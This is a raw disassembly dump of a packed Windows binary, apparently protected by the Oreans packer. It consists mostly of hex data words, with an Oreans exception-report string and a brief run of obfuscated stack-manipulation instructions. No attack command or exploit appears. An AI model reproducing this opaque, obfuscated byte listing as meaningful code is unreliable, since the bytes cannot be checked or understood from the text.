0BB0DF781h, 8685D465h, 34B640BAh dd 0E8EA8100h, 0ED00345Fh, 5868FB81h, 0A75564Dh, 1F4985C7h dd 1061Eh, 8F640000h, 5, 4C48300h, 19810Fh, 880F0000h dd 13h, 0DE8h, 0F8113800h, 5BA1351Dh, 29FE7348h, 0F59DE98h dd 683h, 659D8900h, 8B061E30h, 51006AC0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0AE91B490h dd 2DEBFC5Eh, 6870F51h, 81000000h, 9DB587E7h, 0BD835F24h dd 61E1D79h, 83097500h, 1E2B25BDh, 19740006h, 0C08B5350h dd 43DB8h, 19858900h, 8D061E0Dh, 20ACA19Dh, 5BD3FF06h dd 25BD8358h, 61E2Bh, 53501774h, 43DB8h, 19858900h, 8D061E0Dh dd 20A9429Dh, 5BD3FF06h, 13E96058h, 0C000000h, 5AEFA424h dd 79798034h, 63796A90h, 0AE77BAD7h, 858BD9A4h, 61E0C35h dd 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 4E7FA5C7h, 12D43639h, 0DDBD8BE7h, 57061E17h dd 95D9529h, 8B5F061Eh, 13AE9C0h, 40000h, 2E310000h, 353538h dd 7 dup(0) aExceptionInfor db 'Exception Information',0 aPleaseSendTheF db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 dd 13D1BD83h, 0F00061Eh, 12D84h, 59858D00h, 500620A7h dd 0A6C3858Dh, 68500620h, 80000001h, 0A76995FFh, 858D0620h dd 6212FD6h, 0E0858D50h, 5006212Fh, 6A006Ah, 0A6D7858Dh dd 0FF500620h, 20A759B5h, 995FF06h, 8D061E0Eh, 212FD685h dd 858D5006h, 6212FE4h, 6A006A50h, 0E9858D00h, 500620A6h dd 0A759B5FFh, 95FF0620h, 61E0E09h, 2FD6858Dh, 8D500621h dd 212FF085h, 6A5006h, 858D006Ah, 620A736h, 59B5FF50h dd 0FF0620A7h, 1E0E0995h, 0D6858D06h, 5006212Fh, 2FF8858Dh dd 6A500621h, 8D006A00h, 20A75485h, 0B5FF5006h, 620A759h dd 0E0995FFh, 858D061Eh, 6212FD6h, 0F4858D50h, 5006212Fh dd 6A006Ah, 0A73D858Dh, 0FF500620h, 20A759B5h, 995FF06h dd 8D061E0Eh, 212FD685h, 858D5006h, 6212FE8h, 6A006A50h dd 45858D00h, 500620A7h, 0A759B5FFh, 95FF0620h, 61E0E09h dd 2FD6858Dh, 8D500621h, 212FEC85h, 6A5006h, 858D006Ah dd 620A74Ch, 59B5FF50h, 0FF0620A7h, 1E0E0995h, 59B5FF06h dd 0FF0620A7h, 1E1FE595h, 0A2E906h, 0BD830000h, 61E0D3Dh dd 95840F00h, 83000000h, 1E272DBDh, 850F0006h, 11h, 227D958Bh dd 0C281061Eh, 1CF8h, 0FE9h, 0ED958D00h, 8B061E20h, 0C2813452h dd 3BD4C340h, 13859589h, 0BD83061Eh, 61E1385h, 55840F00h dd 8B000000h, 1E13859Dh, 4CC38306h, 8589038Bh, 6212FE0h dd 13859D8Bh, 0C383061Eh, 89038B50h, 212FE485h, 859D8B06h dd 83061E13h, 38B54C3h, 2FF08589h, 9D8B0621h, 61E1385h dd 8B58C383h, 0F4858903h, 8B06212Fh, 1E13859Dh, 5CC38306h dd 8589038Bh, 6212FE8h, 13D1BD83h, 0F00061Eh, 0D85h, 3DBD8300h dd 61E0Dh, 68840Fh, 0B5FF0000h, 6212FF8h, 2FECB5FFh, 0B5FF0621h dd 6212FE8h, 2FF4B5FFh, 0B5FF0621h, 6212FF0h, 2FE4B5FFh dd 0B5FF0621h, 6212FE0h, 2FDA858Dh, 8D500621h, 21301285h dd 858D5006h, 61E23A5h, 0B995FF50h, 83061E2Bh, 406A24C4h dd 2FFC858Dh, 8D500621h, 1E23A585h, 6A5006h, 31D595FFh dd 16A061Eh, 137595FFh, 0C18B061Eh, 0C08BF560h, 83CE8B66h dd 1E1D79BDh, 9750006h, 2B25BD83h, 7400061Eh, 8B535019h dd 40EB8C0h, 85890000h, 61E0CE9h, 0AC3A9D8Dh, 0D3FF0620h dd 0BD83585Bh, 61E2B25h, 50177400h, 40EB853h, 85890000h dd 61E0CE9h, 0A9299D8Dh, 0D3FF0620h, 6A585Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 4281C3h, 2D890Fh dd 0E9600000h, 14h, 0CD61D6EBh, 0B570D628h, 8B3C58E8h dd 62A5A04Bh, 20EE422Fh, 0CE8h, 0A079E900h, 0D1423883h dd 65F51FB5h, 66615E9Ch, 6A7BA2BEh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0DE4CC356h dd 2746B000h, 87D441ABh, 0C1BB6660h, 0C08B61B9h, 83F2B70Fh dd 1E3351BDh, 840F0006h, 11h, 1D40B956h, 0E95E32D8h, 28Bh dd 6BD68166h, 0B5DF8CB6h, 0C7F766A1h, 850F0004h, 277h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9FC35040h dd 81486926h, 80BD657Ch, 0FF2BE1DEh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0D9C35242h, 0E93AC915h, 0Ah dd 0DDE311C5h, 0A9AFD8A8h, 9D8DDCE8h, 62136AEh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6BC35747h, 2FEDAA74h dd 93C64CC7h, 66507BB2h, 936996B9h, 0EA8166F5h, 0FF64D378h dd 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0F2ED7F1Ah, 600BD980h, 4145BA66h dd 1A1697BEh, 89646172h, 25h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 13E96F63h dd 1C000000h, 0E666BD3Dh, 3CF9CA4Fh, 0D9F132DAh, 0EADA8485h dd 0C48B784Ah, 0AE18166h, 0EB01CDB4h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 67455DD9h, 0CECA1209h, 7E9h, 9F6A0600h, 6AB0B461h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 29C35040h, 4C4EA8C3h dd 0C1D1B63Fh, 58F6453h, 0 dd 4880Fh, 0BA660000h, 0C4833438h, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0B026C4D8h dd 14E8560Ch, 61000000h, 0D8111874h, 0F3FAF3CEh, 2F574C66h dd 389E0DA1h, 5ABEEB57h, 0C00BC88Bh, 0C1840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 4F4BC8C3h, 4E7BDA81h, 7E97BCFh, 0D4000000h, 4CAB04FEh dd 81611D6Ah, 3CE3F6F2h, 0CFB70F6Ah, 71ABBD8Dh, 6A061Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 53AD2EC3h, 7AC42C41h, 8118CCCFh, 334CFFC6h, 1B858h dd 8B660000h, 8BE7FFC8h, 78F0FD6h, 0F000000h, 189h, 8B57FC00h dd 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h dd 2000000h, 0C3C0335Fh, 2800Fh, 0CB8B0000h, 0D8C0Fh, 8E90000h dd 0D0000000h, 0DF49837Fh, 61E92FEFh, 5E9h, 0C2A9200h dd 0C08B72B0h, 0C71D49BAh, 79BD832Ch, 61E1Dh, 0BD830975h dd 61E2B25h, 50197400h, 0B8C08B53h, 40Eh, 0D198589h, 9D8D061Eh dd 620ACA1h, 585BD3FFh, 2B25BD83h, 7400061Eh, 0B8535017h dd 40Eh, 0D198589h, 9D8D061Eh, 620A942h, 585BD3FFh, 0C3C68166h dd 2840F2Ch, 8B000000h, 89B966D1h, 0E9C08B80h, 7, 2F17C4A7h dd 0F3476E1h, 683h, 72DE8100h, 8B608FF0h, 1718EBC2h, 9B46F3h dd 4 dup(0) dd 0E9000000h, 20Bh, 245C8B60h, 0E824h, 815D0000h, 21379EEDh dd 4C26106h, 0FFE6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h dd 8C26160h, 0FFF6E900h, 0FFFFh, 0 dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 62137D6h, 0F000E681h dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 62137DAh dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h dd 0C00A0324h, 19840Fh, 53500000h, 2BBh, 85858B00h, 86061E13h dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h dd 74FF50FFh, 95FF0824h, 61E3025h, 4C010F50h, 8358FE24h dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h dd 0FC00A03h, 984h, 85858B00h, 0C6061E13h, 0FF580000h dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h dd 38840Fh, 2BB0000h, 8B000000h, 1E138585h, 0A188606h dd 0F6850FDBh, 0C7FFFFFFh, 1E2F6185h, 6, 24448B00h, 988B08h dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 61E2F61h dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h, 0C302C88Ah dd 0CBD1C332h, 0FD20BAAh, 184h, 0C90A4A00h, 0FFE5850Fh dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h, 0FD20BFFh, 0FFFFDF85h dd 66C361FFh, 4A8D88Ch, 29840Fh, 85C70000h, 621377Bh, 1 dd 4C010F50h, 858FFE24h, 621377Fh, 3777858Dh, 0BD8D0621h dd 621377Fh, 23E93889h, 8D000000h, 1E20ED85h, 38408B06h dd 46F31705h, 7785899Bh, 8D062137h, 1E20ED85h, 3C408B06h dd 377B8589h, 858D0621h, 6213794h, 30258589h, 87E9061Eh dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h dd 0 dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h dd 0A840F2Dh, 4000000h, 32133498h, 8C3C1D8h, 0FC90B49h dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 6213A07h dd 13C18589h, 858D061Eh, 6213A2Fh, 2258589h, 858D061Eh dd 6213A57h, 9A18589h, 0CE8061Eh, 99000000h, 0A9C3386Ah dd 7C3F52A4h, 0F5BB0B8Bh, 0EE95Eh, 9E700000h, 0EFAAAE25h dd 66995B00h, 73A8D9Ah, 718FC681h, 0F6800000h, 1C48BBF1h dd 3E8B0000h, 0EAB0A1B9h, 87C78113h, 8008FD5Bh, 0EF81B5F5h dd 3D47B7D9h, 44F28060h, 43F78161h, 0B9579667h, 74A31811h dd 0FC523E89h, 1EE835Ah, 4EC4F680h, 0EA814E4Eh, 5BA7BC1Fh dd 0BF850F4Bh, 80FFFFFFh, 8EBE0D6h, 2 dup(0) dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 272D858Bh dd 858D061Eh, 6216BA3h, 888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah dd 6213B30h, 87DBD83h, 0F00061Eh, 0F84h, 6A6000h, 26C195FFh dd 0E961061Eh, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h dd 895A04CDh, 213B2C85h, 30B58B06h, 0C106213Bh, 896610CEh dd 0B58B0272h, 6213B30h, 0FC728966h, 2C858B61h, 0C306213Bh dd 278D958Dh, 9589061Eh, 61E1385h, 0E2D9589h, 85FF061Eh dd 61E0E2Dh, 204185C6h, 6853061Eh, 0FCB148D8h, 2F1B5FFh dd 858D061Eh, 61E38FAh, 8589D0FFh, 61E26C1h, 37AE858Dh dd 85890621h, 61E3271h, 51E9h, 748B6000h, 76032424h, 247C8B3Ch dd 81D68B28h, 0F8C2h, 4E8B6600h, 0C9B70F06h, 0F00F983h dd 1684h, 0C7A3B00h, 158F0Fh, 0EA830000h, 0C428B28h, 2B144A8Bh dd 89F82BC1h, 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h dd 0FFE9E9FFh, 3EBAFFFFh, 0EB0009FDh, 20h, 7 dup(0) dd 589E900h, 7DE90000h, 68000005h, 6213DEBh, 0FD4316E9h dd 3E8D68FFh, 0CE90621h, 68FFFD43h, 6214053h, 0FD4302E9h dd 40F668FFh, 0F8E90621h, 0CCFFFD42h, 0FA158A37h, 233EB372h dd 506BE081h, 789308A9h, 7CBD32F7h, 3BFE7F8Ah, 6A17ABC6h dd 9154DAF5h, 0B77E011Ch, 90A64242h, 3F460E54h, 54754D02h dd 45F4BD3Bh, 972BA246h, 204708EAh, 0D338A83Eh, 0D774B924h dd 0D7242291h, 0D06701C5h, 0A3F56095h, 0CB18136Dh, 6CA4AE82h dd 40EE9645h, 38000000h, 24D26B76h, 0D29F9A39h, 7E667CB4h dd 0D83924D2h, 4C159493h, 0DCFAA96Ah, 61190DA4h, 8E921269h dd 658A5A70h, 87CC3925h, 0A275DCD8h, 7FBB3F46h, 4297B69h dd 6F96DB33h, 13F0FAh, 76BE0000h, 3924D26Ah, 0B5D3A099h dd 460FB29Fh, 0C4397E3Fh, 30F173F0h, 0D327B84Eh, 179AB924h dd 0BB556C4Eh, 5DE02B3Bh, 0E27B0100h, 0F5B6985Dh, 898AECCEh dd 4FEC1343h, 57A79196h, 4A902F30h, 0D84D1498h, 1C3A3FFDh dd 0DBBD6403h, 374D6B1Ah, 0B92533A9h, 0C67E60A5h, 866815ADh dd 941716C5h, 0BC7D58CDh, 0FE8099B7h, 0E998593Bh, 3B58B5CBh dd 0B50BF43h, 0ED4D9329h, 0C25FB306h, 0B70F0D7Ch, 5FC807E3h dd 12000000h, 0CFED86B3h, 460E60B9h, 0FD1B603Fh, 2BA041E4h dd 2C46D10h, 0F243DD3Eh, 5B80080Ah, 88000003h, 0AEC93EFBh dd 0D7F2670Eh, 0FC178C55h, 243FB47Dh, 2869DE83h, 0E78A2B36h dd 0ECB5772h, 35F87E99h, 6302A5C0h, 3C52EEEEh, 3F460FA8h dd 5421F9AEh, 7595F5BDh, 0AF5E529Ah, 31DC1h, 0F1738F00h dd 75F91230h, 671F01B0h, 2305A84Eh, 29B7B362h, 9D3924D3h dd 3924D3C3h, 24D2E003h, 0D2F4EC39h, 0ED23924h, 0B83924D3h dd 0F924D328h, 20C1637Ch, 0EA87B271h, 0C25CB6CCh, 11567F45h dd 3FA5BBF3h, 8C7303E4h, 8DD246EBh, 96A3FCDEh, 7CA9BFDDh dd 5C7921E9h, 257D5517h, 3F412C26h, 2B9B7h, 0A05DE600h dd 0C968102Bh, 0EEB73954h, 16DF5E79h, 3CE186A1h, 899486C7h dd 0B1CC41E4h, 0D4EF6411h, 0FF1A8F52h, 4040B57Ch, 10568EA4h dd 4B003F46h, 31F07373h, 5B00974Fh, 83A7BFF5h, 5EDB9A49h dd 54E1F715h, 0A43F4707h, 2DCFEA5Fh, 70F40F84h, 0FE17CFB1h dd 4B0AB964h, 516785EEh, 3925CAECh, 0A0B9D71Ch, 37AC5B1Eh dd 0E351C11Fh, 7AF7422Ch, 8DF3465Ch, 0C80D3304h, 47EE91AAh dd 1734B7D2h, 0D65A787Eh, 7F60920Fh, 0BA2A405Eh, 9C26C1DEh dd 0F9123057h, 0DCEB075h, 0AE67C5Eh, 1926C1DFh, 9E355320h dd 0D882B402h, 773EBE18h, 0FEADD495h, 4F83CAE0h, 60A52CE3h dd 0DF862942h, 0E2F8306Ah, 20A0D702h, 61600F54h, 0E0F917DEh dd 0AEC9B5Eh, 0A0D67C74h, 992A720h, 7D9BC263h, 0C212D667h dd 0C86F8826h, 2406AF51h, 198D3C63h, 0FC1FB6D4h, 8A6D5EEFh dd 0EE2644F3h, 0DF8E57D5h, 1F945DE0h, 0A2C06104h, 5F41E489h dd 5A813CC6h, 0C970C9ABh, 0BB528AA8h, 0D7357E35h, 2ECECD4Dh dd 75DCD887h, 0BB20A0FEh, 0E2FE9476h, 0E1145E85h, 1DB6985Dh dd 78F9DB9Ah, 3F552F75h, 0EFED5CA2h, 0A8A68C21h, 31h, 0A63E548Ch dd 0B0145E79h, 7604BC6Bh, 3924EF6Ah, 0F8EC023Ah, 5E3924B5h dd 187C6A19h, 0E4000000h, 0B64E96ACh, 6D083924h, 0A3F8FBCAh dd 87365D7Fh, 0EC6A76CFh, 0B3A03924h, 97CFED86h, 0D29B495Fh dd 2AB23924h, 0A9B70AA8h, 0FDACF165h, 464A3401h, 7F011A3Fh dd 45BDD4B6h, 0A675055Dh, 0F165143Bh, 0C871CAACh, 0AD8F52D3h dd 0F1D38E14h, 0C4E20930h, 21753BAEh, 1EE02539h, 0EC2565CEh dd 0F3780002h, 20000000h, 4661D683h, 6F8AFFA6h, 94AF24CDh dd 0BCD74C15h, 0C001763Bh, 7F22C3CEh, 0A653EF0Ah, 0CD901631h dd 0FBBA3D58h, 0D4EA8686h, 3F461310h, 54B99146h, 4BFAA73Bh dd 0A6C4AD8Ch, 0D28C586Eh, 0ADCA3924h, 903F660Fh, 5FA33A72h dd 42F02B4Ah, 300501B0h, 0C83F46D1h, 172D6583h, 330458CDh dd 591BC9DFh, 0F63B3304h, 1EC76582h, 0A5547B3Ch, 5B740BC3h dd 450C7A6h, 97A26110h, 91B87D02h, 81605D73h, 6CA83922h dd 100CD553h, 2CE66DD4h, 37C03D82h, 9F71235Ch, 805E2047h dd 4CEC267Ah, 50C24Ah, 0E47D0000h, 3A9C439h, 2ED2ED62h dd 70F71287h, 9C213CB1h, 312364D9h, 67DC8126h, 960BB64Ch dd 0C136FB7Bh, 0ED6203A6h, 0A93B51EDh, 0AD3F4612h, 1B8420F8h dd 52000000h, 0DE061C54h, 783924D2h, 53918433h, 0DEFB63Ah dd 9E43CF4Ch, 922C1EA7h, 0EE732BE3h, 35B85133h, 4DF18A6Ch dd 952DC6A8h, 0C86D06E8h, 5AA4325h, 46E57E60h, 8024BD9Fh dd 0C666FFE1h, 68003D1Fh, 6AFBh, 68240C89h, 32EAh, 53241C89h dd 0C381E389h, 4, 8704EB83h, 895C241Ch, 0BA52243Ch, 3BE35201h dd 8105E2C1h, 4B7C87F2h, 5AD3897Ah, 8904EC83h, 4812424h dd 424h, 55535F00h, 0E43681BDh, 246C013Bh, 478F5D04h, 86F8108h dd 3BE43681h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_536D7B ; --------------------------------------------------------------------------- dw 943Eh dd 0F59E8063h, 0EFF1509Eh, 21416BB8h, 8BC50306h, 0E900EBC8h dd 5E1h, 5D5E9h, 43166800h, 84E90621h, 68FFFD3Dh, 621442Bh dd 0FD3D7AE9h, 449168FFh, 70E90621h, 68FFFD3Dh, 6214564h dd 0FD3D66E9h, 468D68FFh, 5CE90621h, 30FFFD3Dh, 5671E693h dd 7F9A0FD6h, 0A4BF34FDh, 0CCE75C05h, 0D011862Bh, 8F52D3DEh dd 0B663FF1Ah, 0DD802641h, 0BAA4D68h, 0E4FA9696h, 3F461500h dd 76C9A156h, 3924D26Ah, 24D2885Ch, 690B2439h, 7625E6C8h dd 24D2697Ah, 0D27D6339h, 90273924h, 99AF0C28h, 3925A04Bh dd 0CE49C60Bh, 5F859B3Bh, 0F739250Fh, 0E0DC8BB2h, 39251001h dd 251019C7h, 224FEAB9h, 2EB6CC04h, 28B92510h, 1634E3h dd 0BF431631h, 0C55C7ABFh, 2BF2B5Fh, 0D1EF9E10h, 35FC8099h dd 0E4E39253h, 0F2A9F42h, 8FE8CA6Fh, 14ABC9AAh, 7D430257h dd 0EF05237Eh, 0B306E0F5h, 4F6D1C61h, 0B67FFE17h, 0E61A0B07h dd 0DC14B924h, 0E8DC1EC6h, 44F338ACh, 0A1C98BD0h, 2D6C2973h dd 410A32Bh, 0C45D0000h, 0E389A419h, 0EB2CD42h, 50D7F267h dd 7C011C91h, 110344B9h, 47BC6106h, 76EB962Ch, 0A116DB5Bh dd 0CD42E386h, 0C91B31CDh, 8D3F4615h, 0F07300D8h, 28B94F31h dd 153924D3h, 179A4C92h, 3BBED94Eh, 7CFF987Ah, 0D33CA8BEh dd 0D51A3924h, 0AD4BCCAEh, 9E4D1494h, 8023D51Bh, 96946CE1h dd 4F81C5D4h, 38Ah, 0B93B5499h, 0A74A49F8h, 92A8E0FEh dd 3924D352h, 22C0BF04h, 25D49577h, 0D334AD43h, 0CBCC3924h dd 667CB485h, 3924D27Eh, 0E5E493D8h, 0F42EA342h, 24D306DEh dd 270B5039h, 0D26F758Bh, 0CAE73924h, 39577E27h, 2BDA9F20h dd 6B0EB049h, 0ECB5344Dh, 0F78EC83Dh, 42FBF5CFh, 0E68F2E4Ah dd 7722C0BFh, 8826C9C8h, 24E57272h, 789FE439h, 74FD3D96h dd 0FABB3D56h, 33A85718h, 0EACC9518h, 892CB151h, 464506E8h dd 5A1BFDA0h, 3AA6BE33h, 893924E6h, 15A3CF9h, 0E51D3B38h dd 0D5842DCCh, 4315CCD9h, 5C70C3Fh, 0F2474D5Fh, 0FBD96163h dd 48000002h, 6E89FEBBh, 97B227CEh, 0BCD74C15h, 0E4FF743Dh dd 0E8299E43h, 0A74AEBF6h, 0CE8B1732h, 0F5B83E59h, 23C26580h dd 0FC12AEAEh, 3F4616E8h, 73E1B96Eh, 0B64F31F0h, 0F7907233h dd 2139AE6Bh, 3924D2FFh, 24E29947h, 0DD982A39h, 0C27B65FBh dd 0B1883924h, 0A98CA2C0h, 4F3F42D5h, 472E480Ah, 9C9EF247h dd 29514h, 9441E200h, 0BD64041Fh, 0EA8B2D48h, 12D35A75h dd 38FD829Dh, 859082C3h, 0ADC83DE0h, 0D8F36815h, 31E9356h dd 4C4CC160h, 174A9AB0h, 570C3F46h, 31F0737Fh, 545B7C13h dd 0F7C6A9C7h, 2ACD6648h, 0D3546D8Bh, 0BC6B2C0Eh, 0F4A141DAh dd 56F77912h, 8EA11CCh, 0B788CE6Dh, 251A43A1h, 0A7CE1339h dd 0C577BDC0h, 360E8322h, 81C58D38h, 15C0627Bh, 1BC37233h dd 1FEh, 0D26A7665h, 0D5593924h, 0FE809B10h, 3EC0593Bh dd 1518997Bh, 40E5FECFh, 4BFABB9Dh, 9207AA4Ch, 0C5D4BCBAh dd 627581h, 40590000h, 9149F8B9h, 0BEF686B3h, 24D33CA8h dd 0D9D51A39h, 3924D30Bh, 0C1DF064Bh, 0B36207A8h, 0D68E7F95h dd 0D51A3F42h, 47665D13h, 1FA7A9F2h, 1C2h, 52C7720Fh, 7BF0B137h dd 0A015DC60h, 0CA3FE685h, 0F66B0EAFh, 37B8C3B5h, 40E2FD72h dd 61052095h, 892C47BCh, 0D77373E8h, 461823C1h, 0A67E333Fh dd 4A2CF573h, 0D109A589h, 0C32E933Ah, 903F89A9h, 24FD5894h dd 0E7C90E39h, 9005A84Eh, 1533F275h, 7C25C4DDh, 24FC6480h dd 0AEADF239h, 0D4B66508h, 5860BF7Bh, 9C8A80B5h, 6D88FD24h dd 94AF24C9h, 0D56E5011h, 7130B84Dh, 32ACB72h, 0BAF28E8Eh dd 72786C82h, 99DE3925h, 72F6EEEAh, 1B603925h, 7D1CA039h dd 0AC3635F8h, 7A55CAF1h, 9051D7C2h, 0D29315AEh, 0E1082FF0h dd 4BC266FFh, 6DE209A8h, 0ADC3FB33h, 39257337h, 6DEDA1Fh dd 0C5392573h, 0EE0B7F26h, 1C2A449h, 0B12F2BDAh, 52392572h dd 670EB2E7h, 7F9DC485h, 43921069h, 0D2B703Fh, 0CEB071F4h dd 27405E0Dh, 506BE081h, 8E2709A8h, 0E2745E8h, 3315C469h dd 0F375089Ah, 34B75032h, 3D1F466Dh, 0AD374D85h, 0A9330752h dd 32B6B564h, 1389173h, 0C93C5270h, 0CF392557h, 0E5BAC88Ah dd 2EC29h, 9978h, 0A05DE600h, 0C968102Bh, 0EEB73954h, 16DF5E79h dd 3CE186A1h, 899486C7h, 0B1CC41E4h, 0D4EF6411h, 0FF1A8F52h dd 4040B57Ch, 18568EA4h, 4B003F46h, 59F07373h, 6B2C0ED7h dd 26C96244h, 63049D7Fh, 7A914E68h, 789FD5E1h, 0B77EFD96h dd 4667D5h, 39CB192Fh, 468B3925h, 0EF35381Fh, 86FBBA3Dh dd 0C56DB0AEh, 106981h, 76B30000h, 3924D26Bh, 990ED75Ah dd 188Fh, 3B545D00h, 4D49F8B9h, 3924D293h, 6FE48D30h, 0D9981C35h dd 0E49352DAh, 19749F2Ch, 2, 0EE73D4ACh, 35B85133h, 4DF18A6Ch dd 952DC6A8h, 0C86D06E8h, 5AA4325h, 46E57E60h, 8024BD9Fh dd 0C666FFE1h, 52003D1Fh, 0C2815A54h, 4, 8704EA83h, 565C2414h dd 0C681E689h, 4, 4EE81h, 34870000h, 2C895C24h, 0E0895024h dd 405h, 4E88300h, 5C240487h, 53241489h, 214243BBh, 8BDD8906h dd 0C483241Ch, 148B5404h, 4C48324h, 3ABF5755h, 3115552Fh dd 5F04247Ch, 8108428Fh, 2F3A0872h, 148B1555h, 0E6895624h dd 4C681h, 0C6830000h, 24348704h, 242C8B5Ch, 81E68956h dd 4C6h, 4C68300h, 5C243487h, 0FD37C6E9h, 37DBFFh, 0E1CB9BD3h dd 8F94FA7Ah, 4BB82321h, 3062147h, 0E8D18BC5h, 12h, 0AC23473Ah dd 0CF86AD9h, 45F8299Eh, 8E393614h, 0BA6626EAh, 0E859F9F5h dd 0Eh, 6A52B1C4h, 0DA506123h, 299A3A6Eh, 860FA8DCh, 0 dd 17C1815Fh, 0E900005Ah, 13h, 65F0C472h, 57AA66A9h, 0D93EA96Dh dd 0EA4A0C04h, 68C590DAh, 0 dd 0E890F58h, 0E9000000h, 9, 0EAD0883Ah, 84A3D108h, 11C8B68h dd 4BD78166h, 53EB81FFh, 8142026Eh, 0FC7E2AC6h, 76F3812Bh dd 0F2BC024h, 284h, 81F08B00h, 0AE3DE6EBh, 11C891Fh, 8BD3B70Fh dd 4E883F7h, 0F8815E50h, 0FFFFA694h, 0FFBF850Fh, 80BFFFFFh dd 0E9164EE8h, 0D9h, 0FBE1D20h, 2F82C12Ch, 0BEB6CFDFh dd 365D54FDh, 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h dd 0C1AEC441h, 5277CB50h, 9CACAC32h, 0F691B800h, 82CD64F7h dd 3893h, 3C00h, 4000h, 9400h, 500h, 100h, 0A2800h, 200h dd 20h dup(0) dd 7A732600h, 2083E978h, 0A5680000h, 0E906214Bh, 0FFFD360Fh dd 214CD368h, 3605E906h, 0C368FFFDh, 0E906214Dh, 0FFFD35FBh dd 214E7668h, 35F1E906h, 7868FFFDh, 0E906214Fh, 0FFFD35E7h dd 21506368h, 35DDE906h, 3768FFFDh, 0E9062151h, 0FFFD35D3h dd 21521E68h, 35C9E906h, 8068FFFDh, 0E9062156h, 0FFFD35BFh dd 21570568h, 35B5E906h, 0B68FFFDh, 0E9062158h, 0FFFD35ABh dd 215B0F68h, 35A1E906h, 8568FFFDh, 0E906215Eh, 0FFFD3597h dd 21621F68h, 358DE906h, 7668FFFDh, 0E9062163h, 0FFFD3583h dd 2163DC68h, 3579E906h, 2F68FFFDh, 0E9062164h, 0FFFD356Fh dd 21648468h, 3565E906h, 9668FFFDh, 0E9062165h, 0FFFD355Bh dd 2166AD68h, 3551E906h, 0C468FFFDh, 0E9062167h, 0FFFD3547h dd 66DB861Bh, 8F04AD4Bh, 0BC31F074h, 0E65B1AA1h, 12872ACBh dd 53D4DFD1h, 64FE198Eh, 852944B9h, 0AD506BE0h, 0F38F8F04h dd 461D07DDh, 5C9A4F3Fh, 5302BF43h, 31F0739Bh, 9A33B64Fh dd 566D4F16h, 9BA61746h, 0F31A4178h, 0DD96A37Eh, 0CE6E87BFh dd 0F1F30927h, 6539258Bh, 0E4757120h, 0B23F43A8h, 0A2511499h dd 7107E92Eh, 33076D6Fh, 0EB5AA03Dh, 87E335EDh, 4FA6h dd 4CF38A00h, 